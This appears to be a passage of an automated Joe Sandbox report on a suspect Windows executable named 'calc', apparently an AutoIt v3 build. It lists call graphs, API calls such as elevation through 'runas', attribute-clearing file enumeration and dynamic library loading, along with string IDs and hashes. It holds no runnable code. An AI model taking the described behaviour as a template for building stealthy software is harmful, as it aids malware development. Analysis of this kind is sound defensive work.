4500e2 50935->50938 50936->50937 50936->50938 50937->50925 50937->50935 50938->50937 50950 455696 36 API calls 2 library calls 50938->50950 50940->50902 50941->50901 50942->50903 50943->50893 50944->50903 50945->50922 50946->50914 50947->50932 50948->50925 50949->50925 50950->50938 50951->50909 50953 44b972 RtlLeaveCriticalSection 50952->50953 50954 44b95b 50952->50954 50953->50887 50954->50953 50955 44b962 50954->50955 50958 44c626 RtlLeaveCriticalSection 50955->50958 50957 44b970 50957->50887 50958->50957 50960 44bcc5 50959->50960 50971 44f869 50960->50971 50962 44bcd1 50963 44bd3e 50962->50963 50965 44bcfe 50962->50965 50966 44bce5 50962->50966 50989 44d915 34 API calls __lock 50963->50989 50965->50966 50967 44f869 _write_multi_char 38 API calls 50965->50967 50970 44be45 RtlLeaveCriticalSection RtlLeaveCriticalSection 50966->50970 50968 44bd9d 50967->50968 50968->50966 50969 44f869 _write_multi_char 38 API calls 50968->50969 50969->50966 50970->50761 50972 44f875 ___free_lc_time 50971->50972 50973 44f8f8 50972->50973 50975 44f8a0 50972->50975 51004 44d915 34 API calls __lock 50973->51004 50977 4508e0 _write_multi_char 35 API calls 50975->50977 50976 44f8fd 51005 44d91e 34 API calls __lock 50976->51005 50978 44f8a6 50977->50978 50980 44f8b4 50978->50980 50981 44f8c8 50978->50981 50990 44f7f5 50980->50990 51001 44d915 34 API calls __lock 50981->51001 50984 44f8c0 51003 44f8f0 RtlLeaveCriticalSection _write_multi_char 50984->51003 50985 44f8cd 51002 44d91e 34 API calls __lock 50985->51002 50986 44f8e8 ___free_lc_time 50986->50962 50989->50966 51006 45089f 50990->51006 50992 44f800 50993 44f816 SetFilePointer 50992->50993 50994 44f806 50992->50994 50996 44f837 50993->50996 50997 44f82f GetLastError 50993->50997 51013 44d915 34 API calls __lock 50994->51013 50999 44f843 50996->50999 51014 44d927 34 API calls __lock 50996->51014 50997->50996 50998 44f80b 50998->50984 50999->50984 51001->50985 51002->50984 51003->50986 51004->50976 51005->50986 51007 4508ab 51006->51007 51008 4508c6 51007->51008 51009 44d915 __lock 34 API calls 51007->51009 51008->50992 51010 4508ce 51009->51010 51011 44d91e _write_multi_char 34 API calls 51010->51011 51012 4508d9 51011->51012 51012->50992 51013->50998 51014->50999 51019 443300 51015->51019 51016 44a98f 44 API calls 51016->51019 51017 4431c5 51017->50679 51017->50705 51018 442e08 GetSystemTimeAsFileTime 51018->51019 51019->51016 51019->51017 51019->51018 51020 44a64b 45 API calls 51019->51020 51020->51019 51022 442e29 51021->51022 51023 442e49 51022->51023 51056 442bd5 GetSystemTimeAsFileTime 51022->51056 51023->50696 51026 441b6d 51025->51026 51027 441b7b 51025->51027 51028 44bc99 63 API calls 51026->51028 51029 441bc0 51027->51029 51030 44bc99 63 API calls 51027->51030 51041 441b84 51027->51041 51028->51027 51057 441c83 44 API calls 51029->51057 51031 441ba1 51030->51031 51031->51029 51033 441baa 51031->51033 51037 44a855 46 API calls 51033->51037 51033->51041 51034 441c02 51035 441c06 51034->51035 51036 441c27 51034->51036 51039 441c13 51035->51039 51040 44a855 46 API calls 51035->51040 51058 441cfe 34 API calls __getbuf 51036->51058 51037->51041 51039->51041 51043 44a855 46 API calls 51039->51043 51040->51039 51041->50708 51042 441c2d 51044 441c53 51042->51044 51045 441c33 51042->51045 51043->51041 51059 441f08 49 API calls 51044->51059 51047 441c40 51045->51047 51049 44a855 46 API calls 51045->51049 51047->51041 51050 44a855 46 API calls 51047->51050 51048 441c5a 51060 441d54 51048->51060 51049->51047 51050->51041 51053 441c6e 51053->51041 51055 44a855 46 API calls 51053->51055 51054 44a855 46 API calls 51054->51053 51055->51041 51056->51022 51057->51034 51058->51042 51059->51048 51061 441d61 51060->51061 51065 441d67 51060->51065 51062 449c88 ___free_lc_time 34 API calls 51061->51062 51062->51065 51063 441d78 51064 441c61 51063->51064 51067 449c88 ___free_lc_time 34 API calls 51063->51067 51064->51053 51064->51054 51065->51063 51066 449c88 ___free_lc_time 34 API calls 51065->51066 51066->51063 51067->51064 51068->50712 51070 44a835 51069->51070 51071 44a818 51069->51071 51079 44a89e RtlLeaveCriticalSection RtlLeaveCriticalSection 51070->51079 51080 44b36d 51071->51080 51077 44a82e 51077->51070 51078 449c88 ___free_lc_time 34 API calls 51077->51078 51078->51070 51079->50716 51081 44b382 51080->51081 51082 44a81e 51080->51082 51081->51082 51104 44fcac 41 API calls 3 library calls 51081->51104 51084 44fe75 51082->51084 51085 44fe81 51084->51085 51087 44a826 51084->51087 51086 449c88 ___free_lc_time 34 API calls 51085->51086 51085->51087 51086->51087 51088 44fdda 51087->51088 51089 44fde6 ___free_lc_time 51088->51089 51090 44fe59 51089->51090 51091 44fe11 51089->51091 51122 44d915 34 API calls __lock 51090->51122 51093 4508e0 _write_multi_char 35 API calls 51091->51093 51095 44fe17 51093->51095 51094 44fe5e 51123 44d91e 34 API calls __lock 51094->51123 51097 44fe25 51095->51097 51098 44fe31 51095->51098 51105 44fd57 51097->51105 51120 44d915 34 API calls __lock 51098->51120 51099 44fe49 ___free_lc_time 51099->51077 51102 44fe2b 51121 44fe51 RtlLeaveCriticalSection _write_multi_char 51102->51121 51104->51082 51106 45089f _write_multi_char 34 API calls 51105->51106 51107 44fd63 51106->51107 51108 44fda5 51107->51108 51110 45089f _write_multi_char 34 API calls 51107->51110 51119 44fd83 51107->51119 51124 450820 35 API calls 2 library calls 51108->51124 51112 44fd7a 51110->51112 51111 44fdad 51114 44fdcf 51111->51114 51125 44d927 34 API calls __lock 51111->51125 51115 45089f _write_multi_char 34 API calls 51112->51115 51113 45089f _write_multi_char 34 API calls 51116 44fd8f CloseHandle 51113->51116 51114->51102 51115->51119 51116->51108 51117 44fd9b GetLastError 51116->51117 51117->51108 51119->51108 51119->51113 51120->51102 51121->51099 51122->51094 51123->51099 51124->51111 51125->51114 51126->50526 51127->50524 51128->50528 51130 4161a1 LoadImageW 51129->51130 51131 41616d EnumResourceNamesW 51129->51131 51132 4012e6 51130->51132 51131->51130 51131->51132 51132->50547 51134 40428a LoadIconW 51133->51134 51136 401243 51134->51136 51136->50553 51138 44aecd ___free_lc_time 51137->51138 51139 44c6db __lock 32 API calls 51138->51139 51140 44aed4 51139->51140 51141 44aef5 _fast_error_exit 51140->51141 51142 44aee5 GetCurrentProcess TerminateProcess 51140->51142 51147 44af70 RtlLeaveCriticalSection __lock 51141->51147 51142->51141 51144 44af58 51145 44af6b ___free_lc_time 51144->51145 51148 44adfd 51144->51148 51145->50311 51147->51144 51149 44ae08 51148->51149 51150 44ae22 ExitProcess 51149->51150 51151 44ae0c GetProcAddress 51149->51151 51151->51150 51152 44ae1c 51151->51152 51152->51150

    Executed Functions

    Function 00425639 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 117fileCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 352 425639-425661 FindFirstFileW 353 425663-425665 352->353 354 42566a 352->354 355 425787-42578a 353->355 356 42566b-425686 call 44925f 354->356 359 4256c8-4256d8 FindNextFileW 356->359 360 425688-42569d call 44925f 356->360 359->356 361 4256da-4256e1 FindClose 359->361 360->359 366 42569f-4256c6 GetFileAttributesW SetFileAttributesW 360->366 363 4256e3-4256e5 361->363 364 4256f1-425705 FindFirstFileW 361->364 367 425786 363->367 368 425707 364->368 369 42577d 364->369 366->359 370 4256ea-4256ec 366->370 367->355 372 42570d-425714 368->372 371 42577f-425784 FindClose 369->371 370->371 371->367 373 425716-42572b call 44925f 372->373 374 425769-42577b FindNextFileW 372->374 373->374 377 42572d-425743 call 44925f 373->377 374->369 374->372 377->374 380 425745-425764 SetCurrentDirectoryW call 425639 377->380 380->370 383 425766-425767 SetCurrentDirectoryW 380->383 383->374
    APIs
    • FindFirstFileW.KERNELBASE(00000000,?,?,00000000), ref: 00425657
    • GetFileAttributesW.KERNELBASE(?,75568FB0), ref: 004256A6
    • SetFileAttributesW.KERNELBASE(?,00000000), ref: 004256BE
    • FindNextFileW.KERNELBASE(00000000,?,75568FB0), ref: 004256D0
    • FindClose.KERNEL32(00000000), ref: 004256DB
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: File$Find$Attributes$CloseFirstNext
    • String ID: *.*
    • API String ID: 3380241538-438819550
    • Opcode ID: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
    • Instruction ID: 4e70fa6d35b8864b9043a15bda1432a6da936626901fdaf7e3990b9e5699e330
    • Opcode Fuzzy Hash: 1236b3d9e8567393027ac3975af6954621a9665af5743f4ca753b3688c86b07b
    • Instruction Fuzzy Hash: E7319471601629FADF209FA0EC49EDF77ACAF44311F5004A7E804A2191EA79DE449B18
    Function 0040165B Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 131nativewindowCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 432 40165b-40166c 433 401676-401679 432->433 434 40166e-401670 432->434 436 401782-401789 433->436 437 40167f 433->437 434->433 435 40180f-401819 NtdllDefWindowProc_W 434->435 438 40181f-401822 435->438 441 4017fb-40180d call 4126bc 436->441 442 40178b-40178d 436->442 439 401685-401688 437->439 440 40174c-40177d call 42a895 call 42026c 437->440 445 401711-401736 SetTimer RegisterClipboardFormatW 439->445 446 40168e-40168f 439->446 440->435 441->435 451 4017cf-4017d1 441->451 447 4017eb-4017f9 call 4125ea 442->447 448 40178f-401794 442->448 450 40173c-401747 CreatePopupMenu 445->450 445->451 453 401691-401694 446->453 454 4016f2-40170c KillTimer call 412dd7 PostQuitMessage 446->454 447->451 456 4017d3-4017d9 448->456 457 401796-40179b 448->457 450->451 451->438 460 4016d1-4016ed MoveWindow 453->460 461 401696-401698 453->461 454->451 456->435 462 4017db-4017e9 call 401825 456->462 464 4017c1-4017ca call 412e32 457->464 465 40179d-4017a3 457->465 460->451 470 4016c0-4016cc SetFocus 461->470 471 40169a-40169d 461->471 462->435 464->451 465->435 466 4017a5-4017ac 465->466 466->435 473 4017ae-4017bf call 412dd7 call 4128c6 466->473 470->451 471->465 474 4016a3-4016bb call 42a895 471->474 473->435 474->451
    APIs
    • SetFocus.USER32 ref: 004016C6
    • NtdllDefWindowProc_W.NTDLL(?,?,?,?,?), ref: 00401819
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: FocusNtdllProc_Window
    • String ID: TaskbarCreated
    • API String ID: 3543279991-2362178303
    • Opcode ID: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
    • Instruction ID: f800d809c8c6698ce890321309edba9d95731fd3cb02d329e72dbe3815dc5fcc
    • Opcode Fuzzy Hash: c7910e21aebc1e6a89a499fde730aec7c7ffe658abb426c78a0addb64026b91b
    • Instruction Fuzzy Hash: D141FCB2514249EFDB26BF68DC449AA3A96B740305F18843BF505E32F1D67DCC64872E
    Function 00439814 Relevance: 60.4, APIs: 11, Strings: 23, Instructions: 893libraryloaderCOMMON
    Download Yara Rule
    APIs
    • CharLowerBuffW.USER32(?,?), ref: 00439B3E
    • LoadLibraryW.KERNELBASE(00000000), ref: 00439D9D
    • GetProcAddress.KERNEL32(?,00000000), ref: 00439E47
    • GetProcAddress.KERNEL32(?,00000000), ref: 00439E72
    • GetProcAddress.KERNEL32(?,00000000), ref: 00439EB3
    • FreeLibrary.KERNEL32(?), ref: 00439ECB
    • _strcat.LIBCMT ref: 00439F85
    • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF), ref: 0043A15D
    • TerminateProcess.KERNEL32(00000000), ref: 0043A164
    • FreeLibrary.KERNELBASE(?), ref: 0043A2A5
      • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressCharLibraryProc$ByteFreeMultiProcessWide$BuffCurrentLoadLowerTerminate_strcat_strlen
    • String ID: cdecl$dword$hwnd$idispatch$idispatch_ptr$int$int_ptr$long$long_ptr$none$ptr$short$short_ptr$stdcall$str$string$udword$uint$ushort$winapi$wstr$wstring$Wu
    • API String ID: 1015931265-2961962733
    • Opcode ID: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
    • Instruction ID: 62d45698e8f6199696b40485e1186079554493d45d8b932d3fe4b0ade1180d93
    • Opcode Fuzzy Hash: b7f5250f3d76f2b796286c4aebe95d02976f0a3ff1a8833c05814b8d644c070d
    • Instruction Fuzzy Hash: 2562B431D00618AFDF11DFA5C8416DEB7B1AF09314F1441ABE905BB2A1CBB99E85CF89
    Function 0040109D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 134COMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 004010BF
      • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00401412
      • Part of subcall function 004013E2: GetModuleFileNameW.KERNEL32(00000000,?,00000104,CmdLine), ref: 0040151F
    • SetCurrentDirectoryW.KERNEL32(?,?,?), ref: 0040116B
    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?), ref: 004011B2
    • GetForegroundWindow.USER32(runas,?,?,?,00000001,0045C5B4,?,0045C5B4), ref: 004011FC
    • ShellExecuteW.SHELL32(00000000), ref: 00401203
    • SetCurrentDirectoryW.KERNEL32(?,00000001,?,?), ref: 00401272
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CurrentDirectoryFileModuleName$ExecuteForegroundShellWindow
    • String ID: runas
    • API String ID: 1789910257-4000483414
    • Opcode ID: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
    • Instruction ID: 93bf78c1261f2050e188375e0006e403e34581d150756637ae35598e928dc03f
    • Opcode Fuzzy Hash: fca41f01e45967370695c3549b6e1bc3f8c9ac1c7ce2e165cd1ff878592f802b
    • Instruction Fuzzy Hash: 5F41C571904258AEDF10ABA09C85BEE3B689B09315F0041BBF945B61E3C77CDD898B69
    Function 0040127D Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 76windowregistryCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetSysColorBrush.USER32(0000000F), ref: 00401287
    • LoadCursorW.USER32(00000000,00007F00), ref: 00401297
    • LoadIconW.USER32(000000A1), ref: 004012B2
    • LoadIconW.USER32(000000A4), ref: 004012C1
    • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000), ref: 004012F9
    • RegisterClassExW.USER32(?), ref: 0040134D
      • Part of subcall function 00416168: EnumResourceNamesW.KERNELBASE(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
      • Part of subcall function 00416168: LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Load$IconImage$BrushClassColorCursorEnumNamesRegisterResource
    • String ID: #$0$AutoIt v3
    • API String ID: 3434626496-4155596026
    • Opcode ID: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
    • Instruction ID: 687afa9ac2c609e1a5e33ec6c472dbacfde120021dee70f4c48a98386cd57c87
    • Opcode Fuzzy Hash: 372e31f16fea0fb377c9d9b2b166fb2a5c841b5732346904167e8dc8eb2c6d20
    • Instruction Fuzzy Hash: 05314975D00318AFCB11DFA5EC88B9E7FB4EB48318F10447AE508AB3A1E3B45980CB59
    Function 00431B0A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 256COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 491 431b0a-431b3c 492 431b42-431b45 491->492 493 431db4-431dbb 491->493 492->493 495 431b4b-431b4e 492->495 494 431dbd-431dc2 call 4309c0 493->494 499 431dc7-431dcb 494->499 495->493 496 431b54-431b5d call 4199de 495->496 501 431b5f-431b68 496->501 502 431b6d-431b74 496->502 501->494 503 431b76-431b7f 502->503 504 431b84-431b8f call 4493b8 502->504 503->494 507 431bd2 504->507 508 431b91-431bb3 call 416034 504->508 509 431bd5-431bed call 449170 507->509 516 431bb7-431bbc 508->516 514 431bef-431bf3 509->514 515 431c3c-431c4e 509->515 519 431bf6-431c0e call 4216bb call 4301fc 514->519 517 431c50-431c5a 515->517 518 431c5d-431c9a VariantInit call 449660 515->518 516->509 520 431bbe-431bcd call 449078 516->520 517->518 528 431c9e-431ca3 518->528 532 431c10-431c1a 519->532 533 431c1e-431c36 call 4309c0 519->533 520->494 530 431ca5-431caa 528->530 531 431cda-431cde 528->531 534 431cfd-431d04 530->534 535 431cac-431cd6 530->535 536 431ce0-431ce7 531->536 537 431d06-431d15 call 418b39 531->537 532->519 538 431c1c 532->538 533->515 544 431d76-431d78 533->544 540 431cf0-431cfb call 4309c0 534->540 535->531 536->534 542 431ce9-431ced 536->542 547 431d17-431d1a 537->547 548 431d69-431d73 VariantClear 537->548 538->515 540->548 542->540 549 431d97-431da4 call 449078 544->549 550 431d7a-431d7d 544->550 552 431d1e-431d32 call 4216bb 547->552 548->544 559 431da6-431dae call 449078 549->559 560 431daf-431db2 549->560 553 431d83-431d87 550->553 563 431d53-431d54 call 4216bb 552->563 564 431d34-431d40 call 4216bb call 4186c7 552->564 556 431d89-431d8c VariantClear 553->556 557 431d8e-431d95 VariantClear 553->557 556->557 557->549 557->553 559->560 560->499 568 431d59-431d5b call 418b39 563->568 572 431d60-431d67 564->572 574 431d42-431d51 call 4216bb call 4186c7 564->574 568->572 572->548 572->552 574->568
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type$VENTOBJ
    • API String ID: 0-2292573353
    • Opcode ID: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
    • Instruction ID: 2bcbba87d7390d1434edf13330aba9ece891a3e4bcb3d2eb952acb4fb6b50e10
    • Opcode Fuzzy Hash: 4755cb53e4409388185389105b0b2e7a1e198d802851bdd96be41fb2e530ff23
    • Instruction Fuzzy Hash: 10919E71A00309ABDF14DFA5CD85EEEB7B9AF08700F10511BF911A72A1D778AE40CB99
    Function 004253C3 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 213COMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 579 4253c3-4253e3 580 4253e5-4253e8 579->580 581 4253ea-4253ed 579->581 582 4253f0-425400 call 4184a9 580->582 581->582 585 425402-425405 582->585 586 42541e 582->586 587 425407-42540a 585->587 588 42540c-42540f 585->588 589 425422-425427 586->589 590 425412-42541c call 41858e 587->590 588->590 591 4254db-4254de 589->591 592 42542d 589->592 590->586 590->589 594 4254e0-4254e3 591->594 595 4254eb-4254ee 591->595 596 42542f-425436 592->596 598 4254f0-425590 call 4184a9 call 4497d7 call 414bbc call 414e6e call 449da6 call 44912a * 2 GetCurrentDirectoryW SetCurrentDirectoryW 594->598 595->598 599 425438-42543b 596->599 600 42543d-425441 596->600 643 425592-4255a1 call 414e55 598->643 644 4255d5 598->644 601 425446-425447 599->601 602 425443 600->602 603 425448-42544f 600->603 601->603 602->601 606 4254c1 603->606 607 425451-425455 603->607 609 4254c3-4254c6 606->609 607->606 608 425457-42545b 607->608 612 4254bc 608->612 613 42545d-425461 608->613 614 4254c8-4254cb 609->614 615 4254cd 609->615 617 4254be-4254bf 612->617 613->612 618 425463-425467 613->618 619 4254d0-4254d5 614->619 615->619 617->609 621 4254b8-4254ba 618->621 622 425469-42546d 618->622 619->591 619->596 621->617 622->621 624 42546f-425473 622->624 626 4254b4-4254b6 624->626 627 425475-425479 624->627 626->617 627->626 629 42547b-42547f 627->629 631 425481-425485 629->631 632 4254ad-4254b2 629->632 631->632 634 425487-42548b 631->634 632->609 636 4254a6-4254ab 634->636 637 42548d-425491 634->637 636->609 637->636 639 425493-425497 637->639 641 425499-42549d 639->641 642 42549f-4254a4 639->642 641->642 645 4254e5-4254e6 641->645 642->609 651 425602-425615 call 425639 643->651 652 4255a3-4255ca GetFileAttributesW SetFileAttributesW 643->652 646 4255d6-4255de call 418a14 644->646 645->646 653 425630-425636 646->653 659 42561a-42561c 651->659 655 4255e0-4255e4 652->655 656 4255cc-4255d3 SetCurrentDirectoryW 652->656 657 4255e6-425601 SetCurrentDirectoryW call 449154 655->657 658 425627-42562e SetCurrentDirectoryW 655->658 656->644 657->651 658->653 659->658 661 42561e-425622 call 418a14 659->661 661->658
    APIs
    • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00425579
    • SetCurrentDirectoryW.KERNELBASE(?), ref: 0042558C
    • GetFileAttributesW.KERNEL32(?), ref: 004255AA
    • SetFileAttributesW.KERNEL32(?,00000000), ref: 004255C2
    • SetCurrentDirectoryW.KERNEL32(?), ref: 004255D3
    • SetCurrentDirectoryW.KERNEL32(?), ref: 004255ED
    • SetCurrentDirectoryW.KERNEL32(?,?,00000000,00000000,00000000), ref: 0042562E
      • Part of subcall function 00414E55: GetFileAttributesW.KERNELBASE(?,00414BDE,?), ref: 00414E59
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CurrentDirectory$AttributesFile
    • String ID: *.*
    • API String ID: 769691225-438819550
    • Opcode ID: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
    • Instruction ID: cec699d4ab6f872af63f9f09c0b7b1415ff4196bd1174d8bb20d814695fc6a34
    • Opcode Fuzzy Hash: 4060c85384e43a68a18dcb34ae9707316a9a80c1a26ced448f1b3118e47c3abc
    • Instruction Fuzzy Hash: C171C975A00529AADB20FA54EC44BDAF378EB04316FD480ABE549D3140DB3C9EC68F59
    Function 00404205 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 49registrywindowclipboardCOMMON
    Download Yara Rule

    Control-flow Graph

    APIs
    • GetSysColorBrush.USER32(0000000F), ref: 00404213
    • RegisterClassExW.USER32(?), ref: 0040425E
    • RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00404269
    • LoadIconW.USER32(00400000,000000A9), ref: 004042A8
    Strings
    Memory Dump Source
